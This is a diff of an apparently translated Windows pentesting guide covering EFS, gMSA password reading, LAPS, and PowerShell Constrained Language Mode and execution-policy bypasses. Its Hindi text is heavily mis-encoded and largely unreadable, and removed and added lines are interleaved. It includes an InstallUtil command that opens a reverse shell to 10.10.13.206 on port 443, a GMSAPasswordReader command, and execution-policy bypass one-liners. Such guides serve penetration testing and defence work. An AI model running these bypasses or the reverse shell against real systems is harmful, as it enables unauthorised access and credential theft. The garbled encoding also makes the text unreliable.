рдкреНрд░рдорд╛рдгрдкрддреНрд░ рдХреА рд╕рдВрдмрдВрдзрд┐рдд **рдирд┐рдЬреА рдХреБрдВрдЬреА** рдХрд╛ рдЙрдкрдпреЛрдЧ FEK рдХреЛ $EFS рд╕реНрдЯреНрд░реАрдо рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг [рдпрд╣рд╛рдВ](https://en.wikipedia.org/wiki/Encrypting_File_System) рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдкрд╣рд▓ рдХреЗ рдмрд┐рдирд╛ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдкрд░рд┐рджреГрд╢реНрдп** рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ: -- рдЬрдм рдлрд╝рд╛рдЗрд▓реЗрдВ рдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдЧреИрд░-EFS рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо, рдЬреИрд╕реЗ [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рд╡реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред +- рдЬрдм рдлрд╝рд╛рдЗрд▓реЗрдВ рдпрд╛ рдлрд╝реЛрд▓реНрдбрд░ рдХреЛ рдЧреИрд░-EFS рдлрд╝рд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), рддреЛ рд╡реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рд╣реЛ рдЬрд╛рддреЗ рд╣реИрдВред - SMB/CIFS рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рднреЗрдЬреА рдЧрдИ рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЗрдВ рдкреНрд░рд╕рд╛рд░рдг рд╕реЗ рдкрд╣рд▓реЗ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХреА рдЬрд╛рддреА рд╣реИрдВред -рдпрд╣ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╡рд┐рдзрд┐ рдорд╛рд▓рд┐рдХ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ **рдкрд╛рд░рджрд░реНрд╢реА рдкрд╣реБрдВрдЪ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреЗрд╡рд▓ рдорд╛рд▓рд┐рдХ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдФрд░ рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рдорд┐рд▓реЗрдЧреАред +рдпрд╣ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рд╡рд┐рдзрд┐ рдорд╛рд▓рд┐рдХ рдХреЗ рд▓рд┐рдП рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ **рдкрд╛рд░рджрд░реНрд╢реА рдкрд╣реБрдВрдЪ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреЗрд╡рд▓ рдорд╛рд▓рд┐рдХ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓рдиреЗ рдФрд░ рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рд╕реЗ рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рдорд┐рд▓реЗрдЧреАред -**рдореБрдЦреНрдп рдирд┐рд╖реНрдХрд░реНрд╖**: +**рдореБрдЦреНрдп рдмрд┐рдВрджреБ**: -- EFS рдПрдХ рд╕рдорд╛рди FEK рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред -- рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ FEK рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХреЗред +- EFS рдПрдХ рд╕рдорд╛рдирд╛рдВрддрд░ FEK рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рдХреБрдВрдЬреА рдХреЗ рд╕рд╛рде рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +- рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреА рдирд┐рдЬреА рдХреБрдВрдЬреА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ FEK рддрдХ рдкрд╣реБрдВрдЪ рдкреНрд░рд╛рдкреНрдд рдХреА рдЬрд╛ рд╕рдХреЗред - рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рд╡рд┐рд╢рд┐рд╖реНрдЯ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд рд╣реЛрддрд╛ рд╣реИ, рдЬреИрд╕реЗ FAT32 рдореЗрдВ рдХреЙрдкреА рдХрд░рдирд╛ рдпрд╛ рдиреЗрдЯрд╡рд░реНрдХ рдЯреНрд░рд╛рдВрд╕рдорд┐рд╢рдиред - рдПрдиреНрдХреНрд░рд┐рдкреНрдЯреЗрдб рдлрд╝рд╛рдЗрд▓реЗрдВ рдорд╛рд▓рд┐рдХ рдХреЗ рд▓рд┐рдП рдмрд┐рдирд╛ рдЕрддрд┐рд░рд┐рдХреНрдд рдХрджрдореЛрдВ рдХреЗ рд╕реБрд▓рдн рд╣реЛрддреА рд╣реИрдВред @@ -124,7 +124,7 @@ EFS рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ рдПрдиреНрдХреНрд░рд┐рдкреНрд╢рди рдХреЗ рдорд╛ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдПрдХ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛** рдиреЗ рдЗрд╕ **рд╕реЗрд╡рд╛** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рд╣реИ рдпрд╣ рдЬрд╛рдВрдЪрдХрд░ рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рдкрде рдореМрдЬреВрдж рд╣реИ:`C:\users\\appdata\roaming\Microsoft\Protect` рдЬрд╛рдВрдЪреЗрдВ **рдХрд┐рд╕рдХреЗ рдкрд╛рд╕** рдлрд╝рд╛рдЗрд▓ рддрдХ **рдкрд╣реБрдБрдЪ** рд╣реИ `cipher /c \\`\ -рдЖрдк `cipher /e` рдФрд░ `cipher /d` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ** рдФрд░ **рдбрд┐рдХреНрд░рд┐рдкреНрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред +рдЖрдк рдПрдХ рдлрд╝реЛрд▓реНрдбрд░ рдХреЗ рдЕрдВрджрд░ `cipher /e` рдФрд░ `cipher /d` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕рднреА рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЛ **рдПрдиреНрдХреНрд░рд┐рдкреНрдЯ** рдФрд░ **рдбрд┐рдХреНрд░рд┐рдкреНрдЯ** рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред ### Decrypting EFS files @@ -144,7 +144,7 @@ Microsoft рдиреЗ IT рдмреБрдирд┐рдпрд╛рджреА рдврд╛рдВрдЪреЛрдВ рдореЗрдВ рд╕реЗ - **рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рдмрдВрдзрди**: gMSA рдПрдХ рдЬрдЯрд┐рд▓, 240-рдЪрд░рд┐рддреНрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ рдЬреЛ рдбреЛрдореЗрди рдпрд╛ рдХрдВрдкреНрдпреВрдЯрд░ рдиреАрддрд┐ рдХреЗ рдЕрдиреБрд╕рд╛рд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмрджрд▓рддрд╛ рд╣реИред рдпрд╣ рдкреНрд░рдХреНрд░рд┐рдпрд╛ Microsoft рдХреА рдХреА рд╡рд┐рддрд░рдг рд╕реЗрд╡рд╛ (KDC) рджреНрд╡рд╛рд░рд╛ рд╕рдВрднрд╛рд▓реА рдЬрд╛рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдореИрдиреБрдЕрд▓ рдкрд╛рд╕рд╡рд░реНрдб рдЕрдкрдбреЗрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕рдорд╛рдкреНрдд рд╣реЛ рдЬрд╛рддреА рд╣реИред - **рд╕реБрд░рдХреНрд╖рд╛ рдореЗрдВ рд╡реГрджреНрдзрд┐**: рдпреЗ рдЦрд╛рддреЗ рд▓реЙрдХрдЖрдЙрдЯ рдХреЗ рдкреНрд░рддрд┐ рдкреНрд░рддрд┐рд░рдХреНрд╖рд┐рдд рд╣реЛрддреЗ рд╣реИрдВ рдФрд░ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд▓реЙрдЧрд┐рди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХреА рд╕реБрд░рдХреНрд╖рд╛ рдмрдврд╝рддреА рд╣реИред -- **рдХрдИ рд╣реЛрд╕реНрдЯ рд╕рдорд░реНрдерди**: gMSA рдХреЛ рдХрдИ рд╣реЛрд╕реНрдЯреЛрдВ рдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рд╡реЗ рдХрдИ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рдмрди рдЬрд╛рддреЗ рд╣реИрдВред +- **рдХрдИ рд╣реЛрд╕реНрдЯ рд╕рдорд░реНрдерди**: gMSA рдХреЛ рдХрдИ рд╣реЛрд╕реНрдЯреЛрдВ рдХреЗ рдмреАрдЪ рд╕рд╛рдЭрд╛ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпреЗ рдХрдИ рд╕рд░реНрд╡рд░реЛрдВ рдкрд░ рдЪрд▓рдиреЗ рд╡рд╛рд▓реА рд╕реЗрд╡рд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЖрджрд░реНрд╢ рдмрди рдЬрд╛рддреЗ рд╣реИрдВред - **рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд╛рд░реНрдп рдХреНрд╖рдорддрд╛**: рдкреНрд░рдмрдВрдзрд┐рдд рд╕реЗрд╡рд╛ рдЦрд╛рддреЛрдВ рдХреЗ рд╡рд┐рдкрд░реАрдд, gMSA рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдЪрд▓рд╛рдиреЗ рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддреЗ рд╣реИрдВред - **рд╕рд░рд▓ SPN рдкреНрд░рдмрдВрдзрди**: рдЬрдм рдХрдВрдкреНрдпреВрдЯрд░ рдХреЗ sAMaccount рд╡рд┐рд╡рд░рдг рдпрд╛ DNS рдирд╛рдо рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рд╣реЛрддреЗ рд╣реИрдВ, рддреЛ рд╕рд┐рд╕реНрдЯрдо рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рд╕реЗрд╡рд╛ рдкреНрд░рд┐рдВрд╕рд┐рдкрд▓ рдирд╛рдо (SPN) рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ SPN рдкреНрд░рдмрдВрдзрди рд╕рд░рд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред @@ -156,13 +156,13 @@ gMSA рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб LDAP рдкреНрд░реЙрдкрд░реНрдЯреА _** ``` /GMSAPasswordReader --AccountName jkohler ``` -[**рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдЦреЛрдЬреЗрдВ**](https://cube0x0.github.io/Relaying-for-gMSA/) рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, **gMSA** рдХреЗ **рдкрд╛рд╕рд╡рд░реНрдб** рдХреЛ **рдкрдврд╝рдиреЗ** рдХреЗ рд▓рд┐рдП **NTLM рд░рд┐рд▓реЗ рд╣рдорд▓реЗ** рдХреЛ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ, рдЗрд╕ рдмрд╛рд░реЗ рдореЗрдВ рдЗрд╕ [рд╡реЗрдм рдкреГрд╖реНрда](https://cube0x0.github.io/Relaying-for-gMSA/) рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред ## LAPS -**рд▓реЛрдХрд▓ рдПрдбрдорд┐рдирд┐рд╕реНрдЯреНрд░реЗрдЯрд░ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЙрд▓реНрдпреВрд╢рди (LAPS)**, рдЬрд┐рд╕реЗ [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕реНрдерд╛рдиреАрдп рдПрдбрдорд┐рдирд┐рд╕реНрдЯреНрд░реЗрдЯрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб, рдЬреЛ **рдпрд╛рджреГрдЪреНрдЫрд┐рдХ**, рдЕрджреНрд╡рд┐рддреАрдп, рдФрд░ **рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдмрджрд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЗрдВрджреНрд░реАрдп рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред рдЗрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП ACLs рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рд╕реНрдерд╛рдиреАрдп рдПрдбрдорд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред +**рд▓реЛрдХрд▓ рдПрдбрдорд┐рдирд┐рд╕реНрдЯреНрд░реЗрдЯрд░ рдкрд╛рд╕рд╡рд░реНрдб рд╕реЙрд▓реНрдпреВрд╢рди (LAPS)**, рдЬрд┐рд╕реЗ [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899) рд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рд╕реНрдерд╛рдиреАрдп рдПрдбрдорд┐рдирд┐рд╕реНрдЯреНрд░реЗрдЯрд░ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдкреНрд░рдмрдВрдзрди рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред рдпреЗ рдкрд╛рд╕рд╡рд░реНрдб, рдЬреЛ **рдпрд╛рджреГрдЪреНрдЫрд┐рдХ**, рдЕрджреНрд╡рд┐рддреАрдп, рдФрд░ **рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдмрджрд▓реЗ рдЬрд╛рддреЗ рд╣реИрдВ**, рд╕рдХреНрд░рд┐рдп рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рдореЗрдВ рдХреЗрдВрджреНрд░реАрдп рд░реВрдк рд╕реЗ рд╕рдВрдЧреНрд░рд╣реАрдд рд╣реЛрддреЗ рд╣реИрдВред рдЗрди рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдЕрдзрд┐рдХреГрдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд▓рд┐рдП ACLs рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реАрдорд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдкрд░реНрдпрд╛рдкреНрдд рдЕрдиреБрдорддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде, рд╕реНрдерд╛рдиреАрдп рдПрдбрдорд┐рди рдкрд╛рд╕рд╡рд░реНрдб рдкрдврд╝рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рддреА рд╣реИред {{#ref}} active-directory-methodology/laps.md @@ -173,19 +173,19 @@ active-directory-methodology/laps.md PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **рдХрдИ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЛ рд▓реЙрдХ рдХрд░ рджреЗрддрд╛ рд╣реИ** рдЬреЛ PowerShell рдХрд╛ рдкреНрд░рднрд╛рд╡реА рдврдВрдЧ рд╕реЗ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рд╣реИрдВ, рдЬреИрд╕реЗ COM рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░рдирд╛, рдХреЗрд╡рд▓ рдЕрдиреБрдореЛрджрд┐рдд .NET рдкреНрд░рдХрд╛рд░реЛрдВ, XAML-рдЖрдзрд╛рд░рд┐рдд рд╡рд░реНрдХрдлрд╝реНрд▓реЛ, PowerShell рдХрдХреНрд╖рд╛рдУрдВ, рдФрд░ рдЕрдзрд┐рдХ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрдирд╛ред ### **рдЬрд╛рдВрдЪреЗрдВ** -```powershell +```bash $ExecutionContext.SessionState.LanguageMode #Values could be: FullLanguage or ConstrainedLanguage ``` ### рдмрд╛рдпрдкрд╛рд╕ -```powershell +```bash #Easy bypass Powershell -version 2 ``` -рд╡рд░реНрддрдорд╛рди Windows рдореЗрдВ рд╡рд╣ Bypass рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рд▓реЗрдХрд┐рди рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)ред\ -**рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ** **рдЬрд╝рд░реВрд░рдд рд╣реЛ рд╕рдХрддреА рд╣реИ** **_рдПрдХ рд╕рдВрджрд░реНрдн рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП_** -> _рдмреНрд░рд╛рдЙрдЬрд╝_ -> _рдмреНрд░рд╛рдЙрдЬрд╝_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` рдЬреЛрдбрд╝реЗрдВ рдФрд░ **рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЛ .Net4.5 рдореЗрдВ рдмрджрд▓реЗрдВ**ред +рд╡рд░реНрддрдорд╛рди Windows рдореЗрдВ рд╡рд╣ рдмрд╛рдпрдкрд╛рд╕ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛ рд▓реЗрдХрд┐рди рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\ +**рдЗрд╕реЗ рд╕рдВрдХрд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЖрдкрдХреЛ** **рдЬрд╝рд░реВрд░рдд рд╣реЛ рд╕рдХрддреА рд╣реИ** **_рдПрдХ рд╕рдВрджрд░реНрдн рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП_** -> _рдмреНрд░рд╛рдЙрдЬрд╝_ -> _рдмреНрд░рд╛рдЙрдЬрд╝_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` рдЬреЛрдбрд╝реЗрдВ рдФрд░ **рдкрд░рд┐рдпреЛрдЬрдирд╛ рдХреЛ .Net4.5 рдореЗрдВ рдмрджрд▓реЗрдВ**. -#### рд╕реАрдзреЗ рдмрд╛рдпрдкрд╛рд╕: +#### рдкреНрд░рддреНрдпрдХреНрд╖ рдмрд╛рдпрдкрд╛рд╕: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` @@ -193,12 +193,12 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -рдЖрдк [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдпрд╛ [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **Powershell** рдХреЛрдб рдХреЛ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рд╕реАрдорд┐рдд рдореЛрдб рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). +рдЖрдк [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдпрд╛ [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рд╕реА рднреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **Powershell** рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдореЛрдб рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode). ## PS рдирд┐рд╖реНрдкрд╛рджрди рдиреАрддрд┐ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ рдЗрд╕реЗ **restricted** рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдЗрд╕ рдиреАрддрд┐ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рдореБрдЦреНрдп рддрд░реАрдХреЗ: -```powershell +```bash 1┬║ Just copy and paste inside the interactive PS console 2┬║ Read en Exec Get-Content .runme.ps1 | PowerShell.exe -noprofile - @@ -225,7 +225,7 @@ More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershel SSPI рдЙрди рджреЛ рдорд╢реАрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реЛрдЧрд╛ рдЬреЛ рд╕рдВрд╡рд╛рдж рдХрд░рдирд╛ рдЪрд╛рд╣рддреА рд╣реИрдВред рдЗрд╕рдХреЗ рд▓рд┐рдП рдкрд╕рдВрджреАрджрд╛ рд╡рд┐рдзрд┐ Kerberos рд╣реИред рдлрд┐рд░ SSPI рдпрд╣ рдмрд╛рддрдЪреАрдд рдХрд░реЗрдЧрд╛ рдХрд┐ рдХреМрди рд╕рд╛ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдЗрди 